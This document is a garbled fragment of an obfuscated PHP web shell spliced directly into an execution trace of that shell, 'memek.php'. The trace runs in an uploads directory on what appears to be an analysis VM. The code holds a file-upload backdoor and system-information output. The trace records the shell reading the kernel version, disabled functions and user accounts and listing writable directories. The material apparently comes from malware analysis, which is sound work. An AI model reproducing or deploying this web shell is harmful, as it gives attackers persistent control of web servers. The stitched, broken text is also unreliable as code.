"\\x5b\\x20\\74\\141\\x20\\150\\162\\x65\\146\\x3d\\47\\77\\x64\\x69\\x72\\75{$dir}\\46\\164\\157\\75\\152\\x75\\155\\160\\x69\\x6e\\147\\47\\x3e\\x4a\\165\\x6d\\x70\\x69\\156\\147\\x3c\\x2f\\x61\\x3e\\40\\x5d"; goto Xhhnd; XREdm: $ip = gethostbyname($_SERVER["\\x48\\x54\\124\\x50\\x5f\\110\\117\\x53\\124"]); goto AqaAv; YhkYo: echo "\\x53\\x79\\163\\164\\145\\155\\x20\\x3a\\x20\\x3c\\146\\157\\x6e\\164\\40\\143\\x6f\\154\\x6f\\x72\\75\\x63\\x68\\141\\162\\164\\162\\x65\\x75\\x73\\x65\\76" . $kernel . "\\74\\57\\x66\\x6f\\156\\164\\76\\74\\x62\\x72\\76"; goto spfbL; DerJX: @ini_set("\\144\\x69\\163\\x70\\154\\x61\\171\\x5f\\145\\162\\162\\x6f\\x72\\x73", 0); goto UIETO; yj5O5: echo "\\x3c\\x68\\162\\x3e"; goto issCI; issCI: echo "\\x5b\\x20\\74\\x61\\x20\\x68\\162\\145\\x66\\x3d\\47\\77\\x27\\76\\110\\157\\x6d\\x65\\x3c\\x2f\\x61\\x3e\\x20\\135"; goto NrdgE; K5MUL: if (isset($_FILES["\\146\\151\\x6c\\x65"])) { if (copy($_FILES["\\x66\\151\\x6c\\x65"]["\\164\\x6d\\160\\x5f\\156\\x61\\155\\145"], $path . "\\x2f" . $_FILES["\\x66\\x69\\x6c\\145"]["\\x6e\\x61\\155\\145"])) { echo "\\x3c\\146\\x6f\\x6e\\164\\x20\\143\\157\\x6c\\157\\162\\x3d\\42\\x77\\150\\x69\\x74\\x65\\42\\x3e\\x42\\x65\\162\\150\\x61\\163\\x69\\x6c\\40\\142\\x61\\156\\147\\74\\57\\146\\157\\156\\x74\\76\\x3c\\x62\\162\\x20\\57\\x3e"; } else { echo "\\x3c\\146\\x6f\\x6e\\164\\40\\x63\\x6f\\x6c\\157\\x72\\75\\x22\\x72\\x65\\x64\\x22\\76\\x47\\141\\x67\\141\\x6c\\x20\\x62\\141\\156\\x67\\x3c\\57\\146\\157\\x6e\\164\\76\\x3c\\142\\x72\\x2f\\x3e"; } } goto q7n3I; pPL_y: echo "\\74\\57\\164\\144\\x3e\\74\\x2f\\x74\\162\\76\\x3c\\x74\\162\\x3e\\74\\x74\\x64\\x3e"; goto K5MUL; CvvJS: ini_set("\\155\\x65\\155\\x6f\\162\\x79\\137\\x6c\\151\\155\\x69\\x74", "\\66\\x34\\115"); goto mIXQD; LukHp: ' /var/www/html/uploads/memek.php 1 0 3 6 0 0.004556 672888 ini_set 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 2 'output_buffering' 0 3 6 1 0.004578 672960 3 6 R FALSE 3 7 0 0.004593 672888 ini_set 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 2 'display_errors' 0 3 7 1 0.004609 672960 3 7 R '' 3 8 0 0.004623 672888 set_time_limit 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 0 3 8 1 0.004639 672952 3 8 R FALSE 3 9 0 0.004657 672920 ini_set 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 2 'memory_limit' '64M' 3 9 1 0.004672 673024 3 9 R '128M' 3 10 0 0.004686 672920 header 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 'Content-Type: text/html; charset=UTF-8' 3 10 1 0.004705 673096 3 10 R NULL 3 11 0 0.004718 673064 error_reporting 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 0 3 11 1 0.004732 673104 3 11 R 22527 3 12 0 0.004744 673064 set_time_limit 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 0 3 12 1 0.004758 673096 3 12 R FALSE 3 13 0 0.004771 673064 get_magic_quotes_gpc 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 0 3 13 1 0.004784 673064 3 13 R FALSE 3 14 0 0.004799 673064 getcwd 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 0 3 14 1 0.004815 673112 3 14 R '/var/www/html/uploads' 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $path = '/var/www/html/uploads' 3 15 0 0.004843 673112 str_replace 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 3 '\\' '/' '/var/www/html/uploads' 3 15 1 0.004859 673208 3 15 R '/var/www/html/uploads' 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $path = '/var/www/html/uploads' 3 16 0 0.004884 673112 explode 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 2 '/' '/var/www/html/uploads' 3 16 1 0.004900 673688 3 16 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads'] 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads'] 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $id = 0 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $a = TRUE 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $id = 1 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $i = 0 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $i++ 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $i++ 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $id = 2 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $i = 0 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $i++ 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $i++ 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $i++ 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $id = 3 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $i = 0 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $i++ 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $i++ 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $i++ 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $i++ 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $id = 4 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $i = 0 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $i++ 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $i++ 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $i++ 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $i++ 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $i++ 3 17 0 0.005150 673616 getcwd 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 0 3 17 1 0.005164 673664 3 17 R '/var/www/html/uploads' 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $dir = '/var/www/html/uploads' 3 18 0 0.005189 673664 gethostbyname 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 'localhost' 3 18 1 0.005238 673744 3 18 R '127.0.0.1' 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $ip = '127.0.0.1' 3 19 0 0.005266 673704 php_uname 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 0 3 19 1 0.005281 673816 3 19 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64' 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $kernel = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64' 3 20 0 0.005320 673816 gethostbyname 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 'localhost' 3 20 1 0.005373 673896 3 20 R '127.0.0.1' 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $ip_web = '127.0.0.1' 3 21 0 0.005557 673856 ini_get 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 'disable_functions' 3 21 1 0.005573 674336 3 21 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,' 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $ds = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,' 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $show_ds = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,' 3 22 0 0.005642 674752 function_exists 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 'posix_getegid' 3 22 1 0.005657 674792 3 22 R TRUE 3 23 0 0.005670 674752 posix_geteuid 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 0 3 23 1 0.005723 674752 3 23 R 33 3 24 0 0.005738 674752 posix_getpwuid 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 33 3 24 1 0.005771 675584 3 24 R ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin'] 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin'] 3 25 0 0.005815 675552 posix_getegid 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 0 3 25 1 0.005829 675552 3 25 R 33 3 26 0 0.005842 675552 posix_getgrgid 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 33 3 26 1 0.005869 676216 3 26 R ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33] 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33] 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $user = 'www-data' 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $uid = 33 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $group = 'www-data' 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $gid = 33 3 27 0 0.005964 674832 scandir 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads' 3 27 1 0.006002 675456 3 27 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'memek.php', 5 => 'prepend.php'] 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'memek.php', 5 => 'prepend.php'] 3 28 0 0.006042 675424 is_dir 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/.' 3 28 1 0.006060 675488 3 28 R TRUE 3 29 0 0.006075 675456 is_dir 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/..' 3 29 1 0.006091 675504 3 29 R TRUE 3 30 0 0.006104 675464 is_dir 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/.htaccess' 3 30 1 0.006120 675504 3 30 R FALSE 3 31 0 0.006134 675464 is_dir 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/data' 3 31 1 0.006149 675504 3 31 R TRUE 3 32 0 0.006163 675464 is_writable 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/data' 3 32 1 0.006181 675504 3 32 R TRUE 3 33 0 0.006196 675464 perms 1 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/data' 4 34 0 0.006210 675464 fileperms 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/data' 4 34 1 0.006224 675504 4 34 R 16895 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $perms = 16895 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info = 'd' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'r' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'w' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'x' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'r' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'w' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'x' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'r' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'w' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'x' 3 33 1 0.006354 675504 3 33 R 'drwxrwxrwx' 3 35 0 0.006375 675464 is_writable 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/data' 3 35 1 0.006392 675504 3 35 R TRUE 3 36 0 0.006407 675464 is_dir 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/memek.php' 3 36 1 0.006423 675504 3 36 R FALSE 3 37 0 0.006436 675472 is_dir 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/prepend.php' 3 37 1 0.006452 675520 3 37 R FALSE 3 38 0 0.006466 675464 is_file 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/.' 3 38 1 0.006481 675488 3 38 R FALSE 3 39 0 0.006494 675456 is_file 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/..' 3 39 1 0.006509 675504 3 39 R FALSE 3 40 0 0.006522 675464 is_file 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/.htaccess' 3 40 1 0.006537 675504 3 40 R TRUE 3 41 0 0.006550 675464 filesize 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/.htaccess' 3 41 1 0.006564 675504 3 41 R 64 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $size = 0.0625 3 42 0 0.006588 675408 round 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 2 0.0625 3 3 42 1 0.006603 675480 3 42 R 0.063 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $size = 0.063 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $size = '0.063 KB' 3 43 0 0.006641 675504 is_writable 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/.htaccess' 3 43 1 0.006658 675544 3 43 R FALSE 3 44 0 0.006671 675504 is_readable 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/.htaccess' 3 44 1 0.006686 675544 3 44 R TRUE 3 45 0 0.006699 675504 perms 1 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/.htaccess' 4 46 0 0.006712 675504 fileperms 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/.htaccess' 4 46 1 0.006726 675544 4 46 R 33188 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $perms = 33188 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info = '-' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'r' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'w' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= '-' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'r' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= '-' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= '-' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'r' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= '-' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= '-' 3 45 1 0.006846 675544 3 45 R '-rw-r--r--' 3 47 0 0.006860 675504 is_writable 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/.htaccess' 3 47 1 0.006876 675544 3 47 R FALSE 3 48 0 0.006889 675504 is_readable 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/.htaccess' 3 48 1 0.006905 675544 3 48 R TRUE 3 49 0 0.006926 675472 is_file 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/data' 3 49 1 0.006942 675512 3 49 R FALSE 3 50 0 0.006959 675472 is_file 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/memek.php' 3 50 1 0.006974 675512 3 50 R TRUE 3 51 0 0.006987 675472 filesize 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/memek.php' 3 51 1 0.007000 675512 3 51 R 68390 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $size = 66.787109375 3 52 0 0.007025 675376 round 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 2 66.787109375 3 3 52 1 0.007039 675448 3 52 R 66.787 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $size = 66.787 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $size = '66.787 KB' 3 53 0 0.007085 675472 is_writable 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/memek.php' 3 53 1 0.007103 675512 3 53 R FALSE 3 54 0 0.007116 675472 is_readable 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/memek.php' 3 54 1 0.007132 675512 3 54 R TRUE 3 55 0 0.007145 675472 perms 1 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/memek.php' 4 56 0 0.007159 675472 fileperms 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/memek.php' 4 56 1 0.007172 675512 4 56 R 33204 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $perms = 33204 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info = '-' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'r' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'w' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= '-' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'r' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'w' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= '-' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'r' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= '-' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= '-' 3 55 1 0.007292 675512 3 55 R '-rw-rw-r--' 3 57 0 0.007306 675472 is_writable 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/memek.php' 3 57 1 0.007322 675512 3 57 R FALSE 3 58 0 0.007335 675472 is_readable 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/memek.php' 3 58 1 0.007350 675512 3 58 R TRUE 3 59 0 0.007365 675480 is_file 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/prepend.php' 3 59 1 0.007382 675528 3 59 R TRUE 3 60 0 0.007395 675488 filesize 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/prepend.php' 3 60 1 0.007409 675528 3 60 R 57 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $size = 0.0556640625 3 61 0 0.007434 675384 round 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 2 0.0556640625 3 3 61 1 0.007448 675456 3 61 R 0.056 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $size = 0.056 2 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $size = '0.056 KB' 3 62 0 0.007485 675488 is_writable 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/prepend.php' 3 62 1 0.007502 675528 3 62 R FALSE 3 63 0 0.007515 675488 is_readable 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/prepend.php' 3 63 1 0.007531 675528 3 63 R TRUE 3 64 0 0.007544 675488 perms 1 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/prepend.php' 4 65 0 0.007558 675488 fileperms 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/prepend.php' 4 65 1 0.007572 675528 4 65 R 33261 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $perms = 33261 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info = '-' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'r' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'w' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'x' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'r' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= '-' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'x' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'r' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= '-' 3 A /var/www/html/uploads/memek.php(1) : eval()'d code 2 $info .= 'x' 3 64 1 0.007698 675528 3 64 R '-rwxr-xr-x' 3 66 0 0.007712 675488 is_writable 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/prepend.php' 3 66 1 0.007729 675528 3 66 R FALSE 3 67 0 0.007743 675488 is_readable 0 /var/www/html/uploads/memek.php(1) : eval()'d code 2 1 '/var/www/html/uploads/prepend.php' 3 67 1 0.007759 675528 3 67 R TRUE 2 5 1 0.007779 675424 1 3 1 0.007806 542864 0.007861 393136 TRACE END [2023-02-13 01:07:31.510225]